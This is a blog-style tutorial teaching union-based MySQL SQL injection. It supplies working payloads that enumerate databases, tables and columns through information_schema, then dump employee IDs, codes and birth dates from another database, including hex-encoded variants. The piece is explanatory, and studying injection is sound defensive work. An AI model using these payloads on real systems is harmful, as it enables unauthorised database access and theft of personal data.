A technique that a lot of SQL injection beginners don’t know | Atmanand Nagpure write-up

Hey there! Back again with another article about SQL Injection techniques.
So, I’ve been seeing a lot of beginners in SQL Injection. While they try to extract data from the database, they ignore the fact that they can do better.
Note that I don’t have any bad intention to destroy any website or any organization. This post is only for educational purposes.

The problem:

The problem with beginners is, they extract data only from the current database in which the vulnerable query is getting executed. They don’t even try to access other databases and their content. So, lot of intermediate and advanced SQL injectors might be aware of the fact that if the query is executed with proper privileges, attacker can access other databases on that SQL server.
So, let’s actually take a look at how it’s actually done.

The Solution:

LeT’s SqL iNjEcT!!!

Step 1:

Well, the first part of exploitation sequence is to extract the names of databases present on the server. This can be done quite easily actually using group concatenation and union select.

Quick Tip: UNION ALL SELECT can be used instead of UNION SELECT while SQL injection to union two results without performing DISTINCT operation; i.e. It doesn’t remove the duplicates.

So, let’s extract database names on the server.

Query: ?param=’ AND 1=2 UNION ALL SELECT 1,(SELECT CAST(GROUP_CONCAT(schema_name,0x0a) as CHAR(4096)) FROM (SELECT * FROM information_schema.schemata)a),3,4,5,6,7,8,9 -- -

Explanation:

There are 9 columns in the table of the original query. You can find it out using the ORDER BY technique. So, I wrote UNION ALL select 1,2,3,4,5,6,7,8,9 and extracted data at position 2 and replaced it by own nested SELECT query.

GROUP_CONCAT() function is used to concatenate all the rows of the returned result. Here I used nested select. In the inner SELECT statement I selected all the rows in the information_schema.schemata table.
information_schema.schemata is a table in which all the names and other information of the databases present on that server are stored.

I performed explicit type cast on the GROUP_CONCAT() result to increase the result buffer size to store and show more result. You can use LIMIT m,n in MySQL and some other servers to return rows within a range of m and n.

Result 1:

Databases present on the server.

Step 2:

SqL iNjeCtIoN: tAbLeS AnD sHiT BrOoo!

So, the next thing to do is to extract table names from the database of our choice. 
Let’s extract tables from database named ‘training’. Here’s how we’ll do it:

Query: ' AND 1=2 UNION ALL SELECT 1,(SELECT CAST(GROUP_CONCAT(table_name,0x0a) as CHAR(4096)) FROM (SELECT * FROM information_schema.tables WHERE table_schema='training')a),3,4,5,6,7,8,9 -- -

Result 2:

Tables present in database ‘training’

Step 3:

iT’s CoMiNg pEoPle!!!

Next we’ll extract column names from the table of our choice. We can do it in different ways like Dump-in-one-shot(DIOS) SQL injection. But for the sake of keeping things simple and starter-friendly let’s just stick to basic and easy stuff.

Let’s extract column names from the table named ‘start_15_users’ using the following query:

Query: ' AND 1=2 UNION ALL SELECT 1,(SELECT CAST(GROUP_CONCAT(column_name,0x0a) as CHAR(4096)) FROM (SELECT * FROM information_schema.columns WHERE table_name='start_15_users')a),3,4,5,6,7,8,9 -- -

Result 3:

Column Names extracted from table named ‘start_15_users’

And here comes the beginner problem:

Many beginners don’t know how they can extract data from a different database.
The Structured Query Languages(SQL) provides a feature to get data from a different database. The ‘ . (dot) operation.

Usage:

SELECT * from database_name.table_name;

This is that simple. But, most of the beginners still don’t know this technique.


Final Step:

We gOt iT PeOpLe!!!

So, let’s actually get data from table named ‘start_15_users’.

Queries:

' AND 1=2 UNION ALL SELECT 1,(SELECT CAST(GROUP_CONCAT("UserId:",UserID,0x3a,"EmpCode:",EmpCode,0x3a,"DOB:",DOB,0x3a,"IsActive:",IsActive,0x0a) as CHAR(4096)) FROM (SELECT * FROM training.start_15_users)a),3,4,5,6,7,8,9 -- -

is same as:

' AND 1=2 UNION ALL SELECT 1,(SELECT CAST(GROUP_CONCAT(0x5573657249443a,UserID,0x3a,0x456d70436f64653a,EmpCode,0x3a,0x444f423a,DOB,0x3a,0x49734163746976653a,IsActive,0x0a) as CHAR(4096)) FROM (SELECT * FROM training.start_15_users)a),3,4,5,6,7,8,9 -- -

is same as:

' AND 1=2 UNION ALL SELECT 1,(SELECT CAST(GROUP_CONCAT(0x55,0x73,0x65,0x72,0x49,0x64,0x3a,UserID,0x3a,0x45,0x6d,0x70,0x43,0x6f,0x64,0x65,0x3a,EmpCode,0x3a,0x44,0x4f,0x42,0x3a,DOB,0x3a,0x49,0x73,0x41,0x63,0x74,0x69,0x76,0x65,0x3a,IsActive,0x0a) as CHAR(4096)) FROM (SELECT * FROM training.start_15_users)a),3,4,5,6,7,8,9 -- -

Final Result:

Final data extracted from table named ‘start_15_users’

Final Notes:

Note 0x00: As GROUP_CONCAT function won’t return all the results, I’d like to suggest you to use LIMIT m,n of SQL which will limit records with respect to m and n; which are two natural integers. Or you can just perform explicit type-casting using CAST() function provided by SQL.
Note 0x01: You can use # instead of double dash -- operator to comment code in SQL.

That’s all for today!
Thank you for reading!

Regards,
Atmanand Nagpure (proghax333)

My other post:
.
NET SQL Injection through errors: https://medium.com/@skillzworldtech/sql-injection-data-extraction-through-net-framework-error-ec9972858321